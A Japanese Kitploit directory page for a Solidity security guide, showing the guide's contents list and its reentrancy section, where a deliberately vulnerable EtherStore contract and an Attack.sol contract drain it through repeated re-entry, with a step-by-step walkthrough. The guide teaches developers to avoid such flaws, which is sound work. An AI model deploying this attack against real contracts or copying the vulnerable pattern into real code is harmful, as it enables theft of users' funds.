Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
SoliditySecurity — Solidity セキュリティ | Kitploit
ツール/GitHubGitHub/al1ex/soliditysecurity
脆弱性分析コード分析学習と教育厳選リソース
GitHubal1ex/soliditysecurity

SoliditySecurity

Solidity セキュリティ

リポジトリを見る
35115年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

これは何か

この投稿は、Solidity開発者が過去に犯した過ちを比較的詳細かつ最新の情報に基づいて紹介する入門記事であり、将来の開発者が歴史を繰り返さないようにすることを目的としています。

目次

1. 再入

  • 脆弱性
  • 予防策
  • 実世界の例: The DAO

2. 算術オーバーフロー/アンダーフロー

  • 脆弱性
  • 予防策
  • 実世界の例: PoWHCとバッチ転送オーバーフロー (CVE-2018-10299)

3. 予期しないEther

  • 脆弱性
  • 予防策
  • 実世界の例: 不明

4. Delegatecall

  • 脆弱性
  • 予防策
  • 実世界の例: Parity Multisig Wallet (2度目のハック)

5. デフォルトの可視性

  • 脆弱性
  • 予防策
  • 実世界の例: Parity MultiSig Wallet (最初のハック)

6. エントロピーの錯覚

  • 脆弱性
  • 予防策
  • 実世界の例: PRNGコントラクト

7. 外部コントラクト参照

  • 脆弱性
  • 予防策
  • 実世界の例: 再入ハニーポット

8. ショートアドレス/パラメータ攻撃

  • 脆弱性
  • 予防策
  • 実世界の例: 不明

9. チェックされていないCALL戻り値

  • 脆弱性
  • 予防策
  • 実世界の例: EtherpotとKing of the Ether

10. 競合状態 / フロントランニング

  • 脆弱性
  • 予防策
  • 実世界の例: ERC20とBancor

11. サービス拒否 (DoS)

  • 脆弱性
  • 予防策
  • 実世界の例: GovernMental

12. ブロックタイムスタンプ操作

  • 脆弱性
  • 予防策
  • 実世界の例: GovernMental

13. コンストラクタに注意

  • 脆弱性
  • 予防策
  • 実世界の例: Rubixi

14. 未初期化ストレージポインタ

  • 脆弱性
  • 予防策
  • 実世界の例: ハニーポット: OpenAddressLotteryとCryptoRoulette

15. 浮動小数点数と数値精度

  • 脆弱性
  • 予防策
  • 実世界の例: Ethstick

16. tx.origin認証

  • 脆弱性
  • 予防策
  • 実世界の例: 不明

Ethereumの癖

  • キーレスEther
  • ワンタイムアドレス
  • 単一トランザクションのエアドロップ

興味深い暗号関連のハック/バグ一覧

参考文献 / 関連資料

  • Ethereum Wiki - 安全性
  • Solidity Docs - セキュリティに関する考慮事項
  • Consensus - Ethereumスマートコントラクトのベストプラクティス
  • Ethereumのセキュリティ脆弱性、ハック、およびその修正の歴史
  • 分散型アプリケーションセキュリティプロジェクト (DASP) 2018年のトップ10
  • Ethereumスマートコントラクトへの攻撃の調査
  • Ethereumスマートコントラクトのセキュリティ
  • Underhanded Solidity Contestから学んだ教訓

1. 再入

Ethereumスマートコントラクトの特徴の1つは、他の外部コントラクトのコードを呼び出して利用できることです。コントラクトは通常、etherも扱うため、さまざまな外部ユーザーアドレスにetherを送信することがよくあります。外部コントラクトを呼び出したり、アドレスにetherを送信したりする操作では、コントラクトが外部呼び出しを行う必要があります。これらの外部呼び出しは攻撃者に乗っ取られる可能性があり、攻撃者はコントラクトにさらなるコード(フォールバック関数を介するなど)を実行させます。これには、コントラクト自身への呼び戻しも含まれます。このようにして、コード実行はコントラクトに"再入"します。この種の攻撃は、悪名高いDAOハックで使用されました。

再入攻撃の詳細については、Reentrancy Attack On Smart Contracts と Consensus - Ethereum Smart Contract Best Practices を参照してください。

脆弱性

この攻撃は、コントラクトが未知のアドレスにetherを送信したときに発生する可能性があります。攻撃者は、フォールバック関数 に悪意のあるコードを含むコントラクトを外部アドレスに注意深く構築できます。したがって、コントラクトがこのアドレスにetherを送信すると、悪意のあるコードが呼び出されます。通常、悪意のあるコードは脆弱なコントラクト上の関数を実行し、開発者が想定していない操作を行います。"再入"という名前は、外部の悪意のあるコントラクトが脆弱なコントラクト上の関数を呼び戻し、脆弱なコントラクト上の任意の場所でコード実行に"再入"するという事実に由来します。

これを明確にするために、預金者が週に1 etherしか引き出せないEthereumの金庫として機能する、シンプルな脆弱なコントラクトを考えてみましょう。

EtherStore.sol:```solidity contract EtherStore {

uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;

function depositFunds() public payable {
    balances[msg.sender] += msg.value;
}

function withdrawFunds (uint256 _weiToWithdraw) public {
    require(balances[msg.sender] >= _weiToWithdraw);
    // limit the withdrawal
    require(_weiToWithdraw <= withdrawalLimit);
    // limit the time allowed to withdraw
    require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
    require(msg.sender.call.value(_weiToWithdraw)());
    balances[msg.sender] -= _weiToWithdraw;
    lastWithdrawTime[msg.sender] = now;
}

}

このコントラクトには2つの公開関数があります。`depositFunds()` と `withdrawFunds()` です。`depositFunds()` 関数は単純に送信者の残高を増加させます。`withdrawFunds()` 関数は、送信者が引き出すweiの金額を指定できるようにします。この関数は、要求された引き出し金額が1 ether未満であり、かつ過去1週間以内に引き出しが行われていない場合にのみ成功します。本当にそうでしょうか?...

脆弱性は、ユーザーに要求された金額のetherを送信する \[17\] 行目にあります。次のようなコントラクトを作成する悪意のある攻撃者を考えてみてください。

Attack.sol:```solidity
import "EtherStore.sol";

contract Attack {
  EtherStore public etherStore;

  // initialise the etherStore variable with the contract address
  constructor(address _etherStoreAddress) {
      etherStore = EtherStore(_etherStoreAddress);
  }

  function pwnEtherStore() public payable {
      // attack to the nearest ether
      require(msg.value >= 1 ether);
      // send eth to the depositFunds() function
      etherStore.depositFunds.value(1 ether)();
      // start the magic
      etherStore.withdrawFunds(1 ether);
  }

  function collectEther() public {
      msg.sender.transfer(this.balance);
  }

  // fallback function - where the magic happens
  function () payable {
      if (etherStore.balance > 1 ether) {
          etherStore.withdrawFunds(1 ether);
      }
  }
}

この悪意のあるコントラクトが、私たちの EtherStore コントラクトをどのように悪用できるか見てみましょう。攻撃者は、EtherStore コントラクトのアドレスをコンストラクタのパラメータとして、上記のコントラクト (ここではアドレス 0x0...123 とします) を作成します。これにより、パブリック変数 etherStore が初期化され、攻撃したいコントラクトを指すようになります。

次に攻撃者は、1 以上の任意の量の ether を指定して pwnEtherStore() 関数を呼び出します。この例では 1 ether とします。この例では、他の多数のユーザーがこのコントラクトに ether を預けているため、現在の残高は 10 ether であると仮定します。その場合、以下のような流れになります:

  1. Attack.sol - 行 [15] - EtherStore コントラクトの depositFunds() 関数が、msg.value を 1 ether (および大量の gas) として呼び出されます。送信者 (msg.sender) は、私たちの悪意のあるコントラクト (0x0...123) になります。したがって、balances[0x0..123] = 1 ether となります。

  2. Attack.sol - 行 [17] - 次に、悪意のあるコントラクトは EtherStore コントラクトの withdrawFunds() 関数をパラメータ 1 ether で呼び出します。これまでの引き出しがないため、(EtherStore コントラクトの行 [12]-[16] の) すべての要件を満たします。

  3. EtherStore.sol - 行 [17] - コントラクトは 1 ether を悪意のあるコントラクトに送り返します。

  4. Attack.sol - 行 [25] - 悪意のあるコントラクトに送られた ether により、フォールバック関数が実行されます。

  5. Attack.sol - 行 [26] - EtherStore コントラクトの残高合計は 10 ether でしたが、現在は 9 ether なので、この if 文は成立します。

  6. Attack.sol - 行 [27] - 次にフォールバック関数は EtherStore の withdrawFunds() 関数を再度呼び出し、EtherStore コントラクトに "再入" します。

  7. EtherStore.sol - 行 [11] - 2 回目の withdrawFunds() 呼び出しでは、行 [18] がまだ実行されていないため、私たちの残高はまだ 1 ether です。したがって、まだ balances[0x0..123] = 1 ether のままです。lastWithdrawTime 変数についても同様です。ここでも、すべての要件を満たします。

  8. EtherStore.sol - 行 [17] - さらに 1 ether を引き出します。

  9. 手順 4〜8 の繰り返し - Attack.sol の行 [26] に従い、EtherStore.balance >= 1 である限り、手順 4〜8 が繰り返されます。

ツールをダウンロード